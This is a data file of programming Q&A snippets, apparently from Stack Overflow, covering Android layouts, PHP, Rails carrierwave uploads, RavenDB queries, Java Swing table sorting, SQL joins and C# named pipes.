8427895	0	Is there .net implementation of TeX <p>T<sub>E</sub>X is a typesetting system written by Donald E. Knuth. <a href="http://miktex.org/about" rel="nofollow">MiKT<sub>E</sub>X</a> is an up-to-date implementation of T<sub>E</sub>X and related programs for Windows (all current variants).</p> <p>Is there .NET implementation of T<sub>E</sub>X?</p>
34870744	0	 <p>Based on the example from the <a href="http://rssphp.net/examples/" rel="nofollow">RSS parser</a>, each <code>$item</code> is an associative array with keys such as <code>title</code> and <code>description</code>. <code>['title']</code> is an array literal containing one string, <code>'title'</code>, if you want to access the title for an item, you would use <code>$item['title']</code> giving you something like:</p> <pre><code>$title = $item-&gt;addChild('title', $item['title']); //add title node </code></pre>
13358921	0	How do I create this layout in android <p>How do I create this layout in android </p> <pre><code>--------------------- |col1 | col2 | col3 | | col1 | col2 | --------------------- </code></pre> <p>The first row is 3 columns equal width, and the second row is 2 row equal width. Is it possible to create this in TableLayout ? I did try width android:layout_span="2" for the last cell, but it does not end up in equal width.</p> <pre><code>&lt;TableLayout android:layout_width="fill_parent" android:layout_height="wrap_content"&gt; &lt;TableRow android:layout_marginTop="6dp"&gt; &lt;Button android:id="@+id/button1" android:layout_weight="33" android:textStyle="bold" android:text="@string/percent" /&gt; &lt;Button android:id="@+id/button2" android:layout_weight="33" android:textStyle="bold" android:text="@string/percent" /&gt; &lt;Button android:id="@+id/button8" android:layout_weight="33" android:textStyle="bold" android:text="@string/percent" /&gt; &lt;/TableRow&gt; &lt;TableRow android:layout_marginTop="6dp"&gt; &lt;Button android:id="@+id/button3" android:layout_weight="60" android:textStyle="bold" android:text="@string/percent" /&gt; &lt;Button android:id="@+id/button4" android:layout_weight="40" android:layout_span="2" android:textStyle="bold" android:text="@string/percent" /&gt; &lt;/TableRow&gt; &lt;/TableLayout&gt; </code></pre>
28249410	0	How can I access my php file from javascript in my directory structure? <p>I have the following directory structure in my PHP project (framework: <a href="https://github.com/panique/mini" rel="nofollow">https://github.com/panique/mini</a>)</p> <pre><code>application --controller ----album.php --libs ----s3demo.php --model public --css --img --js ----application.js </code></pre> <p>In the application.js (inside js folder) I have the following code</p> <pre><code> signature: { endpoint: "s3demo.php" }, </code></pre> <p>How can I access the s3demo.php (in the libs folder) from my javascript (application.js in the js folder)? I have tested with relative path ../../application/libs/s3demo.php and even tried to go through my controller album.php but cant access the file.</p> <p>s3demo.php includes access codes to my Amazon S3 account so I want to have it outside my public folder.</p> <p>Any suggestion?</p> <p>Edit</p> <p>After I read the documentation (again) I changed the javascript to</p> <pre><code>signature: { endpoint: url + "/album/uploadImage" }, </code></pre> <p>And created a new function in album.php</p> <pre><code>public function uploadImage() { return APP . '/libs/s3demo.php'; } </code></pre> <p>But this does not work either. I think I understand routes. The javascript calls the function in album.php and the funtion return the s3demo.php. But it feels wrong to return a php-file.</p>
40130528	0	 <p>To upload large binary files using CURL you'll need to use <code>--data-binary</code> flag. </p> <p>In my case it was: </p> <pre><code> curl -X PUT --data-binary @big-file.iso https://example.com </code></pre> <p><strong>Note:</strong> this is really an extended version of @KarlC comment, which actually is the proper answer. </p>
29646395	0	 <p>Your problem is you lack any form or execution in the given example.</p> <p>You can use PDO start with this tutorial: <a href="http://www.mysqltutorial.org/php-querying-data-from-mysql-table/" rel="nofollow">http://www.mysqltutorial.org/php-querying-data-from-mysql-table/</a></p> <p>I would also look up, PHP Classes tutorial, Preventing SQL Injection, Basic PHP OOP and PHP Sessions Tutorial. You may find that this can be implemented more easily with a PHP framework but its better to have a handle on what is happening if you intend to do any code work.</p>
6267383	0	UIPickerView: numberOfRowsInComponent is being called twice for same component and is not displaying row titles <p>I'm trying to setup a login form for my application and it is the UIPickerView is not showing the row data. What I am seeing is that the numberOfRowsInComponent is being called twice? But titleForRow is only being called once per row.</p> <p>Debug output:</p> <pre><code>2011-06-07 11:07:31.096 myECG[19689:207] numberOfRowsInComponent: 2 : 0 2011-06-07 11:07:31.096 myECG[19689:207] numberOfRowsInComponent: 2 : 0 2011-06-07 11:07:31.098 myECG[19689:207] USA : 0 2011-06-07 11:07:31.098 myECG[19689:207] Canada : 0 </code></pre> <p><strong>LoginViewController.h</strong></p> <pre><code>#import &lt;UIKit/UIKit.h&gt; @interface LoginViewController : UIViewController &lt;UIPickerViewDataSource, UIPickerViewDelegate&gt; { IBOutlet UITextField *emailField; IBOutlet UITextField *passswordField; IBOutlet UIButton *loginButton; IBOutlet UIActivityIndicatorView *loginIndicator; IBOutlet UIPickerView *pickerView; NSMutableArray *sites; } @property (nonatomic, retain) UITextField *emailField; @property (nonatomic, retain) UITextField *passwordField; @property (nonatomic, retain) UIButton *loginButton; @property (nonatomic, retain) UIActivityIndicatorView *loginIndicator; @property (nonatomic, retain) UIPickerView *pickerView; @property (nonatomic, retain) NSMutableArray *sites; -(IBAction) login:(id) sender; @end </code></pre> <p><strong>LoginViewController.m</strong> #import "LoginViewController.h" #import "myECGViewController.h"</p> <pre><code>@implementation LoginViewController @synthesize emailField, passwordField, loginButton, loginIndicator, pickerView, sites; - (id)initWithNibName:(NSString *)nibNameOrNil bundle:(NSBundle *)nibBundleOrNil { self = [super initWithNibName:nibNameOrNil bundle:nibBundleOrNil]; if (self) { // Custom initialization } //NSLog(@"%@", sites); return self; } - (void)dealloc { [super dealloc]; } - (void)didReceiveMemoryWarning { // Releases the view if it doesn't have a superview. [super didReceiveMemoryWarning]; // Release any cached data, images, etc that aren't in use. } #pragma mark - View lifecycle - (void)viewDidLoad { [super viewDidLoad]; sites = [[NSMutableArray alloc] init]; [sites addObject:@"Canada"]; [sites addObject:@"USA"]; //[pickerView selectRow:1 inComponent:0 animated:YES]; // Do any additional setup after loading the view from its nib. } - (void)viewDidUnload { [super viewDidUnload]; // Release any retained subviews of the main view. // e.g. self.myOutlet = nil; } - (BOOL)shouldAutorotateToInterfaceOrientation:(UIInterfaceOrientation)interfaceOrientation { // Return YES for supported orientations return NO; } -(IBAction) login:(id) sender { loginIndicator.hidden = FALSE; [loginIndicator startAnimating]; loginButton.enabled = FALSE; // Do login NSLog(@"E:%@ P:%@", emailField.text, passswordField.text); } -(NSInteger)numberOfComponentsInPickerView:(UIPickerView *)thePickerView { return 1; } -(NSString *)pickerView:(UIPickerView *)thePickerView titleForRow:(NSInteger)row forComponent:(NSInteger)component { NSLog(@"%@ : %d", [sites objectAtIndex:row], component); return [sites objectAtIndex:row]; } - (NSInteger)pickerView:(UIPickerView *)thePickerView numberOfRowsInComponent:(NSInteger)component { NSLog(@"numberOfRowsInComponent: %d : %d", [sites count], component); return [sites count]; } -(void)pickerView:(UIPickerView *)thePickerView didSelectRow:(NSInteger)row inComponent:(NSInteger)component { NSLog(@"Selected: %@", [sites objectAtIndex:row]); } @end </code></pre> <p>Any help is appreciated.</p>
9268642	0	 <p>My guess, you need to add i=0; at the beginning.</p>
40889214	0	Upload file with carrierwave without name <p>It's me again. I try to upload some yaml files with carrierwave. Everything works fine till now. </p> <p>So, as you know for carrierwave the forms looks like the follow:</p> <pre><code>&lt;%= form_for @resume, html: { multipart: true } do |f| %&gt; &lt;%= f.label :name %&gt;&lt;br&gt; &lt;%= f.text_field :name, :required =&gt; true %&gt; &lt;%= f.label :attachment %&gt;&lt;br&gt; &lt;%= f.file_field :attachment, :required =&gt; true %&gt; &lt;br&gt;&lt;br&gt; &lt;%= f.submit "Save", class: "btn btn-primary" %&gt; &lt;% end %&gt; </code></pre> <p>What i want to do now is to remove the "name" field. I don't need it. So i thought its quite easy, just remove the "name" part of the form. But then I got an error while upload:</p> <pre><code>Name can't be blank </code></pre> <p>So I tried now nearly everything... I had set the <code>required =&gt; false</code> same result. I went to Github and tooked a look at their how-to... there are methods to overwrite the name, but nobody cares about upload a file without a name. May somebody can tell me how i can upload a file without this name field?</p> <p>Thanks!</p> <p>Edit:</p> <p>My resume.rb model:</p> <pre><code>class Resume &lt; ActiveRecord::Base mount_uploader :attachment, AttachmentUploader # Tells rails to use this uploader for this model. end </code></pre> <p>My AttachmentUploader:</p> <pre><code>class AttachmentUploader &lt; CarrierWave::Uploader::Base storage :file def store_dir "uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}" end def extension_white_list %w(yml) end def filename "something.jpg" if original_filename # This is the part where i'm trying around right now. end end </code></pre>
21011149	0	 <p>Do you have the methods for it? If you don't try get the methods out first by using:</p> <pre><code>print server.system.listMethods() </code></pre> <p>After you found out your method, get the signature so it's easier for you to do a search on it.</p>
7662456	0	 <p>From the <a href="http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2011/n3242.pdf" rel="nofollow">C++ Standard ( Working Draft )</a>, section 5 on binary operators</p> <blockquote> <p>Many binary operators that expect operands of arithmetic or enumeration type cause conversions and yield result types in a similar way. The purpose is to yield a common type, which is also the type of the result. This pattern is called the usual arithmetic conversions, which are deﬁned as follows: — If either operand is of scoped enumeration type (7.2), no conversions are performed; if the other operand does not have the same type, the expression is ill-formed. — If either operand is of type long double, the other shall be converted to long double. — Otherwise, if either operand is double, the other shall be converted to double. — Otherwise, if either operand is float, the other shall be converted to float.</p> </blockquote> <p>And also section 4.8</p> <blockquote> <p>A prvalue of ﬂoating point type can be converted to a prvalue of another ﬂoating point type. If the source value can be exactly represented in the destination type, the result of the conversion is that exact representation. If the source value is between two adjacent destination values, the result of the conversion is an implementation-deﬁned choice of either of those values. Otherwise, the behavior is undeﬁned</p> </blockquote> <p>The upshot of this is that you can avoid unnecessary conversions by specifying your constants in the precision dictated by the destination type, provided that you will not lose precision in the calculation by doing so (ie, your operands are exactly representable in the precision of the destination type ).</p>
24390366	0	ravendb linq query does not use overriden equals method? <p>This works :</p> <pre><code>IQueryable&lt;Record&gt; query = _db.Query&lt;Record&gt;() .Statistics(out stats) .Where(r =&gt; r.Keywords.Any( k =&gt; k.Value.Equals(searchInputModel.Keyword.Value))); </code></pre> <p>but this doesn't</p> <pre><code> IQueryable&lt;Record&gt; queryBorked = _db.Query&lt;Record&gt;() .Statistics(out stats) .Where(r =&gt; r.Keywords.Any( k =&gt; k.Equals(searchInputModel.Keyword))); </code></pre> <p>even though I have overridden equals and hashcode for the Keyword class like below, so only value is checked for equality :</p> <pre><code>protected bool Equals(Keyword other) { return string.Equals(Value, other.Value, StringComparison.InvariantCultureIgnoreCase); } public override bool Equals(object obj) { if (ReferenceEquals(null, obj)) return false; if (ReferenceEquals(this, obj)) return true; if (obj.GetType() != this.GetType()) return false; return Equals((Keyword) obj); } </code></pre> <p>And hashcode :</p> <pre><code>public override int GetHashCode() { unchecked { return (Value.ToLower().GetHashCode() * 397); //return (Value.ToLower().GetHashCode()*397) ^ Vocab.ToLower().GetHashCode(); } } </code></pre> <p>Does ravendb use a different equality check ?</p>
9180820	0	 <p>A more jqueryish way than using just regular expressions: </p> <pre><code>var path = $('&lt;a&gt;', {href: 'http://google.com/foo/bar.py'})[0].pathname.replace(/\.(.+)$/,'') </code></pre>
30217582	0	 <p>Look at this post here: <a href="http://blogs.msdn.com/b/pfxteam/archive/2009/02/19/9434171.aspx" rel="nofollow">Thread safe random number generation</a></p> <p>In short: Random() is not thread safe, nor was it designed to be.</p>
25869285	0	Can Anyone tell me how can i solve this Exception <pre><code>class Revers { static void temp(String k) { int x; char ch[]= k.toCharArray(); //Convert String into character char p[]=k.toCharArray(); //Convert String into character x=k.length(); System.out.println(x); for(int i=0;i&lt;x;x--,i++) { p[i]=ch[x]; `/*Exception comes here*/` System.out.println(p[i]); } } public static void main(String... s) { String g="HEllo java"; temp(g); //passig g as argument } } </code></pre>
1216211	0	 <p>Before you get started, do not use macro names that begin with an underscore - these are reserved for compiler and standard library writers, and must not be used in your own code.</p> <p>Additionally, I would say that the macros you suggest are all ver bad ideas, because they hide from the reader what is going on. The only justification for them seems to be to save you a very small amount of typing. Generally, you should only be using macros when there is no sensible alternative. In this case there is one - simply write the code.</p>
12271011	0	 <p>1) please read tutorial about <a href="http://docs.oracle.com/javase/tutorial/uiswing/components/table.html#sorting" rel="nofollow noreferrer">JTable that's contains TableRowSorter example</a>, issue about RowSorter must be in your code</p> <p>2) by default you can to use follows definition for ColumnClass, </p> <pre><code>public Class getColumnClass(int c) { return getValueAt(0, c).getClass(); } </code></pre> <p>3) or you can to hardcode that </p> <pre><code> @Override public Class&lt;?&gt; getColumnClass(int colNum) { switch (colNum) { case 0: return Integer.class; case 1: return Double.class; case 2: return Long.class; case 3: return Boolean.class; case 4: return String.class; case 5: return Icon.class; default: return String.class; } } </code></pre> <p>4) or override <code>RowSorter</code> (notice crazy code)</p> <p><img src="https://i.stack.imgur.com/Q6S63.png" alt="enter image description here"> <img src="https://i.stack.imgur.com/0wouS.png" alt="enter image description here"></p> <pre><code>import com.sun.java.swing.Painter; import java.awt.BorderLayout; import java.awt.Color; import java.awt.Component; import java.awt.Graphics2D; import java.util.ArrayList; import java.util.List; import javax.swing.*; import javax.swing.table.*; public class JTableSortingIconsForNimbus extends JFrame { private static final long serialVersionUID = 1L; private JTable table; private JTable table1; private static Icon ascendingSortIcon; private static Icon descendingSortIcon; public JTableSortingIconsForNimbus() { Object[] columnNames = {"Type", "Company", "Shares", "Price"}; Object[][] data = { {"Buy", "IBM", new Integer(1000), new Double(80.50)}, {"Sell", "MicroSoft", new Integer(2000), new Double(6.25)}, {"Sell", "Apple", new Integer(3000), new Double(7.35)}, {"Buy", "Nortel", new Integer(4000), new Double(20.00)} }; DefaultTableModel model = new DefaultTableModel(data, columnNames) { private static final long serialVersionUID = 1L; @Override public Class getColumnClass(int column) { return getValueAt(0, column).getClass(); } }; table = new JTable(model) { private static final long serialVersionUID = 1L; @Override public Component prepareRenderer(TableCellRenderer renderer, int row, int column) { Component c = super.prepareRenderer(renderer, row, column); int firstRow = 0; int lastRow = table.getRowCount() - 1; if (row == lastRow) { ((JComponent) c).setBackground(Color.red); } else if (row == firstRow) { ((JComponent) c).setBackground(Color.blue); } else { ((JComponent) c).setBackground(table.getBackground()); } return c; } }; table.setPreferredScrollableViewportSize(table.getPreferredSize()); JScrollPane scrollPane = new JScrollPane(table); add(scrollPane, BorderLayout.NORTH); table1 = new JTable(model) { private static final long serialVersionUID = 1L; @Override public Component prepareRenderer(TableCellRenderer renderer, int row, int column) { Component c = super.prepareRenderer(renderer, row, column); int firstRow = 0; int lastRow = table1.getRowCount() - 1; if (row == lastRow) { ((JComponent) c).setBackground(Color.red); } else if (row == firstRow) { ((JComponent) c).setBackground(Color.blue); } else { ((JComponent) c).setBackground(table1.getBackground()); } return c; } }; table1.setPreferredScrollableViewportSize(table1.getPreferredSize()); JScrollPane scrollPane1 = new JScrollPane(table1); //UIDefaults nimbusOverrides = new UIDefaults(); //nimbusOverrides.put("Table.ascendingSortIcon", ascendingSortIcon); //nimbusOverrides.put("Table.descendingSortIcon", descendingSortIcon); //table1.putClientProperty("Nimbus.Overrides", nimbusOverrides); //UIManager.getLookAndFeelDefaults().put("Table.ascendingSortIcon", ascendingSortIcon); //UIManager.getLookAndFeelDefaults().put("Table.descendingSortIcon", descendingSortIcon); UIManager.getLookAndFeelDefaults().put("TableHeader[Enabled].ascendingSortIconPainter", new FillPainter1(new Color(255, 255, 191))); UIManager.getLookAndFeelDefaults().put("TableHeader[Enabled].descendingSortIconPainter", new FillPainter1(new Color(191, 255, 255))); SwingUtilities.updateComponentTreeUI(table1); add(scrollPane1, BorderLayout.SOUTH); TableRowSorter&lt;TableModel&gt; sorter = new TableRowSorter&lt;TableModel&gt;(table.getModel()) { @Override public void toggleSortOrder(int column) { if (column &gt;= 0 &amp;&amp; column &lt; getModelWrapper().getColumnCount() &amp;&amp; isSortable(column)) { List&lt;SortKey&gt; keys = new ArrayList&lt;SortKey&gt;(getSortKeys()); if (!keys.isEmpty()) { SortKey sortKey = keys.get(0); if (sortKey.getColumn() == column &amp;&amp; sortKey.getSortOrder() == SortOrder.DESCENDING) { setSortKeys(null); return; } } } super.toggleSortOrder(column); } }; table.setRowSorter(sorter); table1.setRowSorter(sorter); } static class FillPainter1 implements Painter&lt;JComponent&gt; { private final Color color; public FillPainter1(Color c) { color = c; } @Override public void paint(Graphics2D g, JComponent object, int width, int height) { g.setColor(color); g.fillRect(0, 0, width - 1, height - 1); } } public static void main(String[] args) { try { UIManager.setLookAndFeel("com.sun.java.swing.plaf.nimbus.NimbusLookAndFeel"); ascendingSortIcon = UIManager.getLookAndFeelDefaults().getIcon("Table.ascendingSortIcon"); descendingSortIcon = UIManager.getLookAndFeelDefaults().getIcon("Table.descendingSortIcon"); UIManager.getLookAndFeelDefaults().put("TableHeader[Enabled].ascendingSortIconPainter", new FillPainter1(new Color(127, 255, 191))); UIManager.getLookAndFeelDefaults().put("TableHeader[Enabled].descendingSortIconPainter", new FillPainter1(new Color(191, 255, 127))); } catch (Exception fail) { } SwingUtilities.invokeLater(new Runnable() { @Override public void run() { JTableSortingIconsForNimbus frame = new JTableSortingIconsForNimbus(); frame.setDefaultCloseOperation(EXIT_ON_CLOSE); frame.pack(); frame.setLocationRelativeTo(null); frame.setVisible(true); } }); } } </code></pre>
17380924	0	 <p>Session data is stored server-side.</p> <p>Cookie data is stored client-side.</p>
32960039	0	 <p><code>success</code> and <code>error</code> are <strong>never</strong> <code>set</code>, actually, unless your server is configured to execute <code>html</code> files as <code>php</code>, you won't be able to retrieve <strong>anything</strong> inside <code>contact.html</code>.</p> <p>rename <code>contact.html</code> to <code>contact.php</code> and try:</p> <pre><code>header("Location: contact.php?success=1"); </code></pre> <p>AND</p> <pre><code>header("Location: contact.php?error=1"); </code></pre> <hr> <p><strong>Important:</strong><br> In order to execute <code>php</code> files they need to have <code>.php</code> as file extension, otherwise, as @BurningCrystals said, they're just plaintext.</p>
7370935	1	Django:Map urls to class like in web.py <p>i am learning django but gave web.py a try first. while reading django's documentation i found that in i need to check for the request type in each method.. like:</p> <pre><code>def myview(): if request.method == "POST": #blah balh #ke$ha (jst kiddn) else: #(balh)x2 </code></pre> <p>can the web.py type classes be implemented in django like</p> <pre><code>class myView(): def GET(self): #cool def POST(self): #double cool </code></pre> <p>it would be super cool</p>
12299901	0	Changing XML to JSON in PHP <p>My site was pulling in a shopping API, using XML, and I'd like to switch it to the Google Shopping API, which uses JSON or Atom.</p> <p>I can't seem to work out how to get the following to work in JSON or Atom, any help much appreciated.</p> <pre><code>$query = str_replace(' ', '%', $row['title']); $url = "http://api-url-here.com/query?q='".$query."'%20AND%20currency%3AGBP&amp;key=key-here&amp;rows=8&amp;start=0&amp;format=xml"; $response = file_get_contents($url); $xml = simplexml_load_string($response); //print_r($xml); $recommended = Array(); for($i=0; $i&lt;count($xml-&gt;products-&gt;product); $i++){ $item = Array( $xml-&gt;products-&gt;product[$i]-&gt;merchant, $xml-&gt;products-&gt;product[$i]-&gt;price, $xml-&gt;products-&gt;product[$i]-&gt;url, $xml-&gt;products-&gt;product[$i]-&gt;imageUrl, $xml-&gt;products-&gt;product[$i]-&gt;title ); array_push($recommended , $item); } $i = 0; foreach($recommended as $item){ $i++; $row['item'.$i.'-merch'] = (String) $item[0]; $row['item'.$i.'-price'] = (String) $item[1]; $row['item'.$i.'-url'] = (String) $item[2]; $row['item'.$i.'-img'] = (String) $item[3]; $row['item'.$i.'-title'] = (String) $item[4]; $row['more-products'] = "Recommended"; } </code></pre> <p>I apologise for the complete noob question but my usual dev is on holiday and I'm pretty new at code.</p> <p>Any help much appreciated.</p>
14034468	0	 <p>OK using </p> <pre><code>$(".fb-recommendations-bar").data("href", href); </code></pre> <p>instead of</p> <pre><code>$(".fb-recommendations-bar").attr("data-href", href); </code></pre> <p>and</p> <pre><code>FB.XFBML.parse(); </code></pre> <p>or</p> <pre><code>FB.XFBML.parse(document.getElementById('.fb-recommendations-bar')); </code></pre> <p>instead of</p> <pre><code>FB.XFBML.RecommendationsBar.markRead(href); </code></pre> <p>works!</p>
20975390	0	 <pre><code> In the PHP part you need add two more headers : header("Access-Control-Allow-Origin: *"); header('Access-Control-Allow-Methods: GET, POST'); Add the two line of coding with the: header('Content-Type: application/json'); change the: echo (json_encode($data)); to: print $my_json = json_encode($data); or: print_r ($my_json); Hope it will work. </code></pre>
12667002	0	C++ "Cannot declare parameter to be of abstract type <p>I'm trying to implement generic wrapper in C++ that will be able to compare two things. I've done it as follows:</p> <pre><code>template &lt;class T&gt; class GameNode { public: //constructor GameNode( T value ) : myValue( value ) { } //return this node's value T getValue() { return myValue; } //ABSTRACT //overload greater than operator for comparison of GameNodes virtual bool operator&gt;( const GameNode&lt;T&gt; other ) = 0; //ABSTRACT //overload less than operator for comparison of GameNodes virtual bool operator&lt;( const GameNode&lt;T&gt; other ) = 0; private: //value to hold in this node T myValue; }; </code></pre> <p>It would seem to be I can't overload the '&lt;' and '>' operators in this way, so I'm wondering what I can do to get around this.</p>
29877161	0	 <p>In your <code>onCreate()</code> after drawer layout and list are found call:</p> <pre><code>mDrawerLayout.setDrawerLockMode(DrawerLayout.LOCK_MODE_LOCKED_CLOSED, mDrawerList); drawerToggle.setDrawerIndicatorEnabled(false); </code></pre> <p>From the <a href="https://developer.android.com/reference/android/support/v4/widget/DrawerLayout.html#setDrawerLockMode(int,%20android.view.View)" rel="nofollow">Javadoc</a>:</p> <blockquote> <pre><code>public void setDrawerLockMode (int lockMode, View drawerView) </code></pre> <p>Enable or disable interaction with the given drawer.</p> <p>This allows the application to restrict the user's ability to open or close the given drawer. DrawerLayout will still respond to calls to openDrawer(int), closeDrawer(int) and friends if a drawer is locked.</p> </blockquote>
38435463	0	 <p>Try to use this </p> <pre><code>[self.tableView scrollToRowAtIndexPath:YOUR_INDEX_PATH_OF_SECTION atScrollPosition:UITableViewScrollPositionTop animated:YES] </code></pre>
20503856	0	SQL query: for each state with specific number of sailors <p>I'm starting to learn to write SQL queries. However, I'm still struggling with that. I had to write a query that gives back for each state that has more than 5 sailors the sailor id and the total number of reservations that he has made. The schemas are as following:</p> <p><code>Slr</code> (<code>sid</code>, <code>sname</code>, <code>rating</code>, <code>state</code>) and <code>Reserves</code> (<code>sid</code>, <code>bid</code>, <code>day</code>). </p> <p>Here's my trial:</p> <pre><code>Select slr.state, slr.sid, count(*) From slr left join Reserves on slr.sid=reserves.sid Group By s.state Having count(*) &gt;= 5 </code></pre> <p>I know it's not correct, but what can I change ?</p>
28695664	0	 <p>For those early adapting people on the CofeeScript era, here's another equivalent for it.</p> <pre><code>val for key,val of objects </code></pre> <p>Which may be better than this because the <code>objects</code> can be reduced to be typed again and decreased readability.</p> <pre><code>objects[key] for key of objects </code></pre>
15305083	0	View disappears when I set `translatesAutoresizingMaskIntoConstraints` to `NO` <p>I don't know if this is a bug or I'm doing something wrong:</p> <pre><code>- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { UIWindow *window = [self window]; UIViewController *main = [[UIViewController alloc] init]; UIViewController *vc1 = [[UIViewController alloc] init]; UIViewController *vc2 = [[UIViewController alloc] init]; [main addChildViewController:vc1]; [main addChildViewController:vc2]; UIView *mainView = [main view]; UIView *v1 = [vc1 view]; UIView *v2 = [vc2 view]; [v1 setBackgroundColor:[UIColor redColor]]; [v2 setBackgroundColor:[UIColor blueColor]]; [v1 setTranslatesAutoresizingMaskIntoConstraints:NO]; [v2 setTranslatesAutoresizingMaskIntoConstraints:NO]; [v1 setClipsToBounds:YES]; [v2 setClipsToBounds:YES]; [mainView setBackgroundColor:[UIColor yellowColor]]; [mainView addSubview:v1]; [mainView addSubview:v2]; NSLayoutConstraint *constraint = [NSLayoutConstraint constraintWithItem:v1 attribute:NSLayoutAttributeTop relatedBy:NSLayoutRelationEqual toItem:mainView attribute:NSLayoutAttributeTop multiplier:1.0 constant:0.0]; [mainView addConstraint:constraint]; constraint = [NSLayoutConstraint constraintWithItem:v1 attribute:NSLayoutAttributeHeight relatedBy:NSLayoutRelationEqual toItem:nil attribute:NSLayoutAttributeNotAnAttribute multiplier:1.0 constant:240.0]; [mainView addConstraint:constraint]; constraint = [NSLayoutConstraint constraintWithItem:v2 attribute:NSLayoutAttributeTop relatedBy:NSLayoutRelationEqual toItem:v1 attribute:NSLayoutAttributeBottom multiplier:1.0 constant:0.0]; [mainView addConstraint:constraint]; [window setRootViewController:main]; [window setBackgroundColor:[UIColor greenColor]]; [window makeKeyAndVisible]; [main release]; [vc1 release]; [vc2 release]; return YES; } </code></pre> <p><code>v1</code> and <code>v2</code> appears nowhere when I launch the app.</p> <p>If I comment out:</p> <pre><code>[v1 setTranslatesAutoresizingMaskIntoConstraints:NO]; [v2 setTranslatesAutoresizingMaskIntoConstraints:NO]; </code></pre> <p>Cocoa wouldn't be able to satisfy my constraints because of the autoresizing mask that was translated into constraints.</p>
21951353	0	 <blockquote> <p>Is it possible in Z's constructor to put Z at the end of X's list</p> </blockquote> <p>Yes, if Z has access to X's list.</p> <blockquote> <p>Which way is better?</p> </blockquote> <p>This depends on the semantics. Is the list something closely related with Z's responsibilities or more with Y's?</p>
950003	0	 <p>Change:</p> <pre><code>$('.removeitem').click(function(){ $(this).prev().parent().remove(); return false; }); </code></pre> <p>to:</p> <pre><code>$('.removeitem').live("click", function(){ $(this).prev().parent().remove(); return false; }); </code></pre>
4383846	0	 <p>Quite a few systems have a function <code>asprintf</code> in their standard C libraries that does exactly what you do here: allocate and <code>sprintf</code>.</p>
25340351	0	 <p>Whatever <code>JOIN</code> syntax you've used there, I'm not familiar with it. You also had the following, which is incorrect:</p> <pre><code>`j`.`user_id=$user_id` </code></pre> <p>If you're going to use the backticks, it would be this:</p> <pre><code>`j`.`user_id` = $user_id </code></pre> <p>Assuming <code>$user_id</code> is an integer (I also put single quotes around this type in the <code>WHERE</code> clause in case <code>$user_id</code> is empty for some reason; this helps prevent unnecessary syntax errors). However, backticks are rarely necessary (when column names are also reserved words or there is a space, for instance).</p> <p>Putting it together, with my own syntax style:</p> <pre><code>SELECT j.job_id , j.user_id , b.business_name , b.contract_person , b.mobile_number , b.email , b.id FROM ci_jobs_apply AS j INNER JOIN ci_business AS b ON j.job_id = b.id WHERE j.user_id = '$user_id' </code></pre>
9952633	0	 <p><a href="http://docs.python.org/py3k/library/collections.html#counter-objects" rel="nofollow"><code>collections.Counter</code></a> exists for precisely this kind of work:</p> <pre><code>&gt;&gt;&gt; collections.Counter(i[1] for i in L).most_common() [(2, 2), (1, 1), (5, 1)] </code></pre>
38075266	0	 <p>This is example from "CLR via C#" book:</p> <pre><code>private static async Task&lt;String&gt; IssueClientRequestAsync(String serverName, String message) { using (var pipe = new NamedPipeClientStream(serverName, "PipeName", PipeDirection.InOut, PipeOptions.Asynchronous | PipeOptions.WriteThrough)) { pipe.Connect(); // Must Connect before setting ReadMode pipe.ReadMode = PipeTransmissionMode.Message; // Asynchronously send data to the server Byte[] request = Encoding.UTF8.GetBytes(message); await pipe.WriteAsync(request, 0, request.Length); // Asynchronously read the server's response Byte[] response = new Byte[1000]; Int32 bytesRead = await pipe.ReadAsync(response, 0, response.Length); return Encoding.UTF8.GetString(response, 0, bytesRead); } // Close the pipe } </code></pre> <p>Here executing thread is released just after <code>WriteAsync</code> call. After network driver completes its work, execution will continue until ReadAsync, when thread will be released again until data is read.</p>
37307025	0	 <p>Definitely. Best practice is a separate file for each View Controller or other major class.</p> <p>Refer to this <a href="https://itunes.apple.com/us/course/developing-ios-8-apps-swift/id961180099" rel="nofollow">awesome free course from Stanford</a> for a very nice introduction on MVC (Model-View-Controller).</p>
36934200	0	 <p>This? It should work if there are more than 2 rows.</p> <pre><code>WITH NotesWithId AS ( SELECT ID = ROW_NUMBER() OVER (ORDER BY (SELECT NULL)), note FROM Notes ) SELECT [note1] = CASE WHEN [ID] % 2 &lt;&gt; 0 THEN [note] ELSE NULL END, [note2] = CASE WHEN [ID] % 2 = 0 THEN [note] ELSE NULL END FROM NotesWithId; </code></pre>
24676805	0	sans-serif-light with "fake bold" <p>I have set up the following theme for my app:</p> <pre><code>&lt;style name="AppTheme" parent="Theme.Sherlock.Light"&gt; &lt;item name="android:textViewStyle"&gt;@style/RobotoTextViewStyle&lt;/item&gt; &lt;/style&gt; &lt;style name="RobotoTextViewStyle" parent="android:Widget.TextView"&gt; &lt;item name="android:fontFamily"&gt;sans-serif-light&lt;/item&gt; &lt;/style&gt; </code></pre> <p>Therefor when I create a <code>TextView</code> I get the "roboto light" font which I want. Some <code>TextView</code>s however, I would like to set the <code>textStyle="bold"</code> attribute but it doesn't work since the light font doesn't have a "native" (?) bold variant.</p> <p>On the other side if I programmatically use the <code>setTypeface</code> method I could get a bold font:</p> <pre><code>textView.setTypeface(textView.getTypeface(), Typeface.BOLD); </code></pre> <p><em>This font is derived from the roboto light and looks really good.</em></p> <hr> <p>I would like to have <strong>this bold light font</strong> but I wonder what the most elegant way to do it is.</p> <ol> <li><p>Can it be done solely using xml?</p></li> <li><p>What is the best implementation if I need to create a "<code>BoldTextView extends TextView</code>"?</p></li> </ol>
6616498	0	I want my app to be spreadable easily <p>How can I communicate the download link from one user who has it to one who does not? If all they have are their android phones. Bluetooth? Would I send a contact card. </p> <p>Are there less cumbersome ways that pairing? </p>
